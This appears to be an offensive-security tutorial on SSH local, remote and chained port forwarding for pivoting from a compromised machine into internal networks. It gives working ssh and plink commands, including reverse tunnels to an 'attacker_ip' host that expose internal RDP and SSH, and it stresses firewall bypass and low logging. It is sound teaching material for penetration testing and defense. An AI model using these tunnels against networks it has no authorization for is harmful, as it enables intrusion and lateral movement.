SSH forwarding allows attackers to route traffic through a compromised system by creating encrypted tunnels. These tunnels provide access to internal hosts, bypass segmentation, and enable lateral movement. SSH supports two major forwarding modes: local port forwarding and remote port forwarding. Both techniques are essential during pivoting because they transform a single foothold into full internal access.

Local Port Forwarding (Attacker → Internal Network)

Local port forwarding sends traffic from the attacker’s machine through the compromised host and toward an internal service. This is the most common method when the attacker needs to reach internal ports blocked by firewalls.

How Local Forwarding Works

The syntax:

ssh -L <attacker_port>:<target_ip>:<target_port> user@pivot_host

Traffic flow:
Attacker → Local port → SSH tunnel → Pivot host → Internal target

Example: Access Internal Web Server

ssh -L 8080:10.10.20.5:80 user@pivot

Now open:

http://localhost:8080

This displays the internal web application even if it is unreachable externally.

Example: Access Internal RDP

ssh -L 3389:10.10.20.10:3389 user@pivot

Connect using any RDP client to:

localhost:3389

Example: Pivot into SMB

ssh -L 4455:10.10.20.15:445 user@pivot

Then access SMB:

smbclient //localhost/share

Local forwarding is ideal for tools that can’t use SOCKS proxies.

Remote Port Forwarding (Internal Network → Attacker)

Remote port forwarding allows internal systems to reach a port on the attacker’s machine through the compromised host. This is useful when the attacker’s machine is not directly reachable because of NAT or firewalls.

How Remote Forwarding Works

Syntax:

ssh -R <attacker_port>:<local_target>:<local_port> user@pivot_host

Traffic flow:
Internal system → Pivot host → SSH tunnel → Attacker port

Example: Expose Internal RDP Back to Attacker

ssh -R 4444:10.10.20.10:3389 attacker@attacker_ip

Connect via:

localhost:4444

Example: Expose Internal SSH Service

ssh -R 2222:10.10.20.30:22 attacker@attacker_ip

Now SSH into:

ssh user@localhost -p 2222

Example: Reverse Shell via Remote Forwarding

If internal hosts cannot reach the attacker directly, remote forwarding creates a path for callback shells.

Auto-Forwarding Through Compromised Machines

When performing multiple pivots, forwarding can chain through several hosts.

Example: Multi-Hop Local Forwarding

ssh -J user@pivot1 user@pivot2 -L 8080:10.10.30.5:80

Traffic flows:
Attacker → Pivot1 → Pivot2 → Internal host

This avoids configuring individual tunnels manually.

Dynamic Considerations for Forwarding

Local forwarding is useful when:

Accessing internal web apps
Using GUI tools (RDP, VNC)
Working with SMB, SQL, SSH

Remote forwarding is useful when:

The attacker needs connections back from internal hosts
The attacker is behind NAT
Reverse shells need reliable paths
External access to internal services is required

Forwarding Through Windows

If the compromised machine is Windows, install OpenSSH or use plink.

Using Plink for Local Forwarding

plink.exe -L 8080:10.10.20.5:80 user@pivot

Using Plink for Remote Forwarding

plink.exe -R 4444:10.10.20.10:3389 attacker@attacker_ip

Windows hosts often serve as excellent pivot points during internal engagements.

Combining Forwarding with Proxychains

Local forwarding exposes individual ports. If full internal access is needed, combine it with SOCKS tunneling.

Example: Local Forwarding to Chisel

ssh -L 9001:127.0.0.1:9001 user@pivot

This allows creation of additional tunnels on top of the existing SSH connection.

Why SSH Forwarding Matters

SSH forwarding is one of the most reliable and stealthy pivoting methods. It:

Creates encrypted tunnels
Works on segmented networks
Bypasses firewalls
Supports graphical applications
Enables RDP, SMB, SSH, SQL access
Requires minimal privileges
Leaves minimal logs compared to other tools

Forwarding converts a single foothold into complete internal reach.

Intel Dump

Local forwarding routes attacker → pivot → internal host
Remote forwarding routes internal host → pivot → attacker
Useful for RDP, SMB, databases, reverse shells, web apps
Works through Linux or Windows (using SSH or plink)
Chaining forwards enables multi-hop pivoting